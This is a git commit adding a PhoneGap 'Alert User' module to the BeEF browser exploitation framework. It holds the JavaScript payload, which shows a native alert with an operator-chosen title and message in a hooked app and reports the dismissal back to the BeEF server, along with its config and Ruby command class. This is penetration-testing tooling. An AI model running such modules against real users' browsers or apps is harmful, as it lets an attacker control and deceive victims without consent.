New alert user module

This commit is contained in:
Sergey Gorbaty
2014-08-21 11:20:19 -07:00
parent 1ac84fea9d
commit 8ccc8f8b2e
3 changed files with 83 additions and 0 deletions

View File

@@ -0,0 +1,27 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_alert_user
//
beef.execute(function() {
var title = "<%== @title %>";
var message = "<%== @message %>";
var buttonName = "<%== @buttonName %>";
function onAlert() {
result = "Alert dismissed";
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
navigator.notification.alert(
message,
onAlert,
title,
buttonName
);
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_prompt_user
#
beef:
module:
phonegap_alert_user:
enable: true
category: "Phonegap"
name: "Alert User"
description: "Show user an alert"
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,39 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_prompt_user
#
class Phonegap_alert_user < BeEF::Core::Command
def self.options
return [{
'name' => 'title',
'description' => 'Alert title',
'ui_label'=>'Title',
'value' => 'Beef',
'width' => '300px'
},{
'name' => 'message',
'description' => 'Message',
'ui_label'=>'Message',
'value' => 'Game over!',
'width' => '300px'
},{
'name' => 'buttonName',
'description' => 'Default button name',
'ui_label'=>'Button name',
'value' => 'Done',
'width' => '100px'
}]
end
def callback
content = {}
content['Result'] = @datastore['result']
save content
end
end